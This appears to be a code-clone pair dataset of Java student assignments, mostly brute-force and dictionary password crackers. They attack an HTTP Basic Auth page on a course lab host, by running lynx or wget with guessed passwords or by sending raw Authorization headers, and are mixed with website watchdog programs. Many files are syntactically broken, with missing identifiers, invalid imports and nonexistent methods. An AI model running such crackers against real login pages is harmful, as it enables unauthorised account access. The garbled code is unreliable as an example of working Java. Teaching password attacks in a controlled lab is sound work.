printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>255)) {
System.out.println("Invalid range number value '"+args[2]+"' (must between 0 and 255)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[2]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>255) {
System.out.println("Invalid range number value '"+args[3]+"' (must between value and 255)");
printSyntax();
System.exit(1);
}
USERNAME = args[4];
} else
if ((argc>2) && (argc<5)) {
System.out.println("Please specify the [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>5)) {
System.out.println("The number of parameters expected is not more than 5. ");
System.out.println(" have specified more than 5 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main(String[] args) {
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[5];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = String.valueOf(MINCHAR);
args[3] = String.valueOf(MAXCHAR);
args[4] = USERNAME;
}
paramCheck(args);
readThroughDictionary();
Application = new Dictionary();
}
public static Dictionary Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static String DICTIONARY = System.getProperty("user.dir")+"/words";
public static String TEMPDICT = System.getProperty("user.dir")+"/~words";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 1;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static int MAXCACHE = 100;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
025.java | 197.java | 0 |
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class BruteForce
{
private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};
private int num=1;
public void crackAddress() throws Exception
{
String line,username="",passwd;
int flag=0;
Runtime run = Runtime.getRuntime();
GregorianCalendar =new GregorianCalendar();
for(int k=0;k<passwd_Array.length;k++)
{
for(int j=0;j<passwd_Array.length;j++)
{
for(int i=0;i<passwd_Array.length;i++)
{
passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
System.out.println("Check with word:"+passwd.trim());
String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd.trim()+" -dump";
Process result = run.exec(command_line);
BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
while((line=bf.readLine())!=null)
{
flag=1;
break;
}
if(flag==1)
{
System.out.println("The username is: "+username+" The password is: "+passwd);
break;
}
}
if(flag==1)
break;
}
if(flag==1)
break;
}
if(flag==0)
{
for(int i=0;i<passwd_Array.length;i++)
{
for(int j=0;j<passwd_Array.length;j++)
{
passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j])).toString();
System.out.println("Check with word:"+passwd);
String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump";
Process result = run.exec(command_line);
BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
while((line=bf.readLine())!=null)
{
flag=1;
break;
}
if(flag==1)
{
System.out.println("The username is: "+username+" The password is: "+passwd);
break;
}
}
if(flag==1)
break;
}
if(flag==0)
{
for(int j=0;j<passwd_Array.length;j++)
{
passwd =(new StringBuffer().append(passwd_Array[j])).toString();
System.out.println("Check with word:"+passwd);
String command_line = "lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth="+username+":"+passwd+" -dump";
Process result = run.exec(command_line);
BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));
while((line=bf.readLine())!=null)
{
flag=1;
break;
}
if(flag==1)
{
System.out.println("The username is: "+username+" The password is: "+passwd);
break;
}
}
}
}
GregorianCalendar end=new GregorianCalendar();
double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;
System.out.println("The attack use"+time+" seconds.");
}
public static void main(String args[]) throws Exception
{
BruteForce bf = new BruteForce();
bf.crackAddress();
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
008.java | 197.java | 0 |
import java.io.*;
import java.*;
public class BruteForce
{
public static void main(String args[])
{
String s = null;
String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";
String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
String password = null;
int len = 0;
int num_tries = 0;
len = alphabets.length();
for (int i=0; i<len; i++)
{
for (int j=0; j<len; j++)
{
for (int k=0; k<len; k++)
{
try
{
password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));
System.out.print(alphabets.charAt(i));
System.out.print(alphabets.charAt(j));
System.out.println(alphabets.charAt(k));
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null)
{
System.out.println(s);
}
while ((s = stdError.readLine()) != null)
{
System.out.println(s);
}
try
{
p.waitFor();
}
catch (InterruptedException g)
{
}
num_tries++;
if((p.exitValue()) == 0)
{
System.out.println("**********PASSWORD IS: " + password);
System.out.println("**********NUMBER OF TRIES: " + num_tries);
System.exit(1);
}
}
catch (IOException e)
{
System.out.println("exception happened - here's what I know: ");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
175.java | 197.java | 0 | import java.io.*;
import java.net.*;
import java.util.*;
public class BruteForce
{
public static void main(String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
char first, second, third;
String password="";
int requests=0;
for (int i=65; i<123; i++)
{
requests++;
first = (char) i;
password = first + "";
if (testPassword(password, startTime, requests))
return password;
for (int j=65; j<123; j++)
{
requests++;
second = (char) j;
password = first + "" + second;
if (testPassword(password, startTime, requests))
return password;
for (int k=65; k<123; k++)
{
requests++;
third = (char) k;
password = first + "" + second + "" + third;
if (testPassword(password, startTime, requests))
return password;
if (k==90)
k=96;
}
if (j==90)
j=96;
}
if (i==90)
i=96;
}
return password;
}
private static boolean testPassword(String password, double startTime, int requests)
{
try
{
URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConnection connection;
String userPassword = ":" + password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
try
{
connection = (HttpURLConnection) url.openConnection();
connection.setRequestProperty("Authorization", " " + encoding);
int status=connection.getResponseCode();
System.out.println(password + requests);
if (status==200)
{
System.out.println("It took " + getTime(startTime) + " milliseconds find the password.");
System.out.println(" were " + requests + " requests .");
return true;
}
return false;
}
catch (IOException ioe)
{
System.out.print(ioe);
return false;
}
}
catch (IOException MalformedURLException)
{
System.out.print("Invalid URL");
return false;
}
}
private static double getTime(double startTime)
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double endTime = now.getTime();
return endTime-startTime;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
022.java | 197.java | 0 |
import javax.swing.*;
public class BruteForce
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
107.java | 197.java | 0 |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
195.java | 197.java | 0 |
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"};
Process p4;
Process p5;
Process c1 = Runtime.getRuntime().exec("mkdir copy1");
c1.waitFor();
Process c2 = Runtime.getRuntime().exec("mkdir copy2");
c2.waitFor();
Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p1.waitFor();
Process a11 = Runtime.getRuntime().exec(s2);
a11.waitFor();
Process a12 = Runtime.getRuntime().exec(s3);
a12.waitFor();
Thread.sleep(86400000);
Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
p3.waitFor();
Process a21 = Runtime.getRuntime().exec(s4);
a21.waitFor();
Process a22 = Runtime.getRuntime().exec(s5);
a22.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s);
DataInputStream dis = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println("\t\t\tWATCHDOG PROGRAM");
System.out.println("\t\t\t****************");
System.out.println("If any change in the web then the value 1");
System.out.println("If is change then the value 0 ");
System.out.println("The value :" + p4.exitValue());
try
{
while ((str = dis.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e)
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader("diff.html"));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream dis1 = new DataInputStream(p5.getInputStream());
p5.waitFor();
System.out.println("u have received a mail");
try
{
while ((str1 = dis1.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException ie1)
{
ie1.printStackTrace();
}
}
}
}
} |
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
182.java | 197.java | 0 | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
201.java | 197.java | 0 |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
import java.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
public final static int TOTAL_TIMES=52*52*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
{
num++;
Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
p.destroy();
if(ln!=null)
if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
{
System.out.println(password);
System.out.println("Finish cracking.");
System.out.println(ln);
System.out.println("password is "+password);
time2=new Date().getTime();
System.out.println("costs "+(time2-time1)+" milliseconds");
System.out.println("The number of attempts is "+num);
System.exit(1);
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
k++;
} catch (IOException exc) {
System.out.println ("IOException");
k++;
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
k++;
}
}
}
}
}
}
|
024.java | 197.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println("Programmed by for INTE1070 Assignment 2");
String input = JOptionPane.showInputDialog( "Enter number of threads" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
